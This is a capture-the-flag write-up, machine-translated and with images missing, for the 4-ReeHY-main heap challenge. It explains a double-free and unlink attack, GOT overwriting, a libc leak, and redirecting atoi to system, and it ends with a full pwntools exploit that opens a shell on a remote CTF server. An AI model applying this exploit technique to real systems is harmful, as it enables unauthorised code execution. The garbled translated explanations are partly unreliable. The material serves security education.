4-ReeHY-main

4-ReeHY-main-double_free

To get a look at the protection program and is only opened NX protection

Here Insert Picture Description

Here Insert Picture Description

There is a heap about creating delete editing program. To get the program to find loopholes points. First, enter the create function

  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = counter;
  if ( counter <= 4 )
  {
    puts("Input size");
    result = read_0();
    LODWORD(nbytes) = result;
    if ( result <= 0x1000 )
    {
      puts("Input cun");
      result = read_0();
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 112 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes);
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(size_1 + 4LL * v3) = nbytes;
        *((_QWORD *)&content + 2 * v3) = dest;
        flag[4 * v3] = 1;
        ++counter;
        result = fflush(stdout);
      }
    }
  }
  return result;
}
__int64 read_0()
{
  char buf; // [rsp+2h] [rbp-Eh]

  read(0, &buf, 0xAuLL);
  return (unsigned int)atoi(&buf);
}

cun size and are unsigned integers, the stack may be formed out of range

 __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = read_0();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&content + 2 * (signed int)result));
    flag[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(counter-- - 1);
  }
  return result;
}
__int64 read_0()
{
  char buf; // [rsp+2h] [rbp-Eh]

  read(0, &buf, 0xAuLL);
  return (unsigned int)atoi(&buf);
}

Function read_0 function returns unsigned int free function can cause cross-border effects. Free and not immediately after the pointer is cleared, a field guide is formed, and no determination can be utilized doublefree. Look again at the edit function

puts("Chose one to edit");
  result = read_0();
  v1 = result;
  if ( result <= 4 )
  {
    result = flag[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&content + 2 * v1), *(unsigned int *)(4LL * v1 + size_1));
      result = puts("Edit success!");
    }
  }
  return result;
}

Need to flag the flag to 1 to be able to edit it.

Double free

Prerequisites

- allocated memory is not too small, in linux, below a certain size of memory is allocated in the form of fastbins. This memory will not use after free two-way chain management.

- the need for two adjacent memory has been free. When a memory is free, the system checks before and after the two adjacent memory block is in use. If idle, it will be deleted from the previously free memory doubly linked list, then merge two into one big memory free memory and re-link the doubly linked list.

Problem-solving process

1. First, open up two 0x80 size of the heap.

Here Insert Picture Description

Two heap address is stored in at 603,060 and 6030F0

Here Insert Picture Description

Next, delete (-2) i.e., free length of the storage location, like a memory size distribution and a size of length stored in the memory Next, the length of the re-assignment

Here Insert Picture Description

Here Insert Picture Description

After heap overflow achieved, modifying the second chunk, the first chunk of free forged state, so when it is possible to unlink the second free chunk

Here Insert Picture Description

fd is set to 0x6020c8, bk is set to 0x6020d0. The purpose of this is 2

1. Check the mechanism to bypass unlink

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

To the effect that:

Bk front of a bin to the bin for the current pointer * (0x6020c8 + 0x18) = 0x603060

After fd of a bin for the current pointer to the bin * (0x6020d0 + 0x10) = 0x603060

2. Trigger Mechanism unlink a chunk pointer becomes 0x6020c8, unlink the following mechanism

Address translation at the first chunk is thus stored after unlink 0x6020c8

Here Insert Picture Description

So that we can modify the contents after 0x6020c8, three pointers all modifications were modified to free, puts the atoi and got a table address

Here Insert Picture Description

So that we can modify got free of the table of contents puts the address of the function, we call a free function pointer second free fall that is 0x602020, so that we can address puts print function, after obtaining system address given libc and then got the atoi system function table address to address so that execution atoi function equivalent to the function execution system, since our atoi input parameters we direct input / bin / sh to

Last EXP follows:

from pwn import *
context.log_level='debug'

p=remote('111.198.29.45','56686')
#p=process('4-ReeHY-main')
def create(size,cun,payload):
    p.recvuntil('$ ')
    p.sendline('1')
    p.recvuntil('Input size\n')
    p.sendline(str(size))
    p.recvline('Input cun\n')
    p.sendline(str(cun))
    p.recvuntil('Input content\n')
    p.send(str(payload))
def delete(cun):
    p.recvuntil('$ ')
    p.sendline('2')
    p.recvuntil('Chose one to dele\n')
    p.sendline(str(cun))
def edit(cun,payload):
    p.recvuntil('$ ')
    p.sendline('3')
    p.recvuntil('Chose one to edit\n')
    p.sendline(str(cun))
    p.recvuntil('Input the content\n')
    p.send(str(payload))

p.recvuntil('$ ')
p.sendline('playmaker')
create(128,0,'a'*128)
create(128,1,'0'*128)
delete(-2)
payload=p32(256)+p32(128)
create(20,2,payload)
#fake chunk 0
payload1=p64(0)+p64(0x81)
payload1+=p64(0x6020c8)+p64(0x6020d0)#fd&bk
payload1+='a'*96
payload1+=p64(0x80)+p64(0x90)
edit(0,payload1)
#unlink

delete(1)
payload2=p64(0)
payload2+=p64(0)+p64(0)
payload2+=p64(0x602018)+p64(1)#free_got
payload2+=p64(0x602020)+p64(1)#puts_got
payload2+=p64(0x602058)+p64(1)#atoi
edit(0,payload2)
edit(0,p64(0x4006d0))#edit free_got to puts_plt
#gdb.attach(p)
#pause()
delete(1)#print put_got
puts_got_addr=u64(p.recv(6)+'\x00'+'\x00')
base_addr=puts_got_addr-0x6F690
system_addr=base_addr+0x45390
bin_sh=base_addr+0x18cd57
edit(2,p64(system_addr))
p.recvuntil('$ ')
p.sendline('/bin/sh')
p.interactive()

Guess you like

Origin www.cnblogs.com/playmak3r/p/12094526.html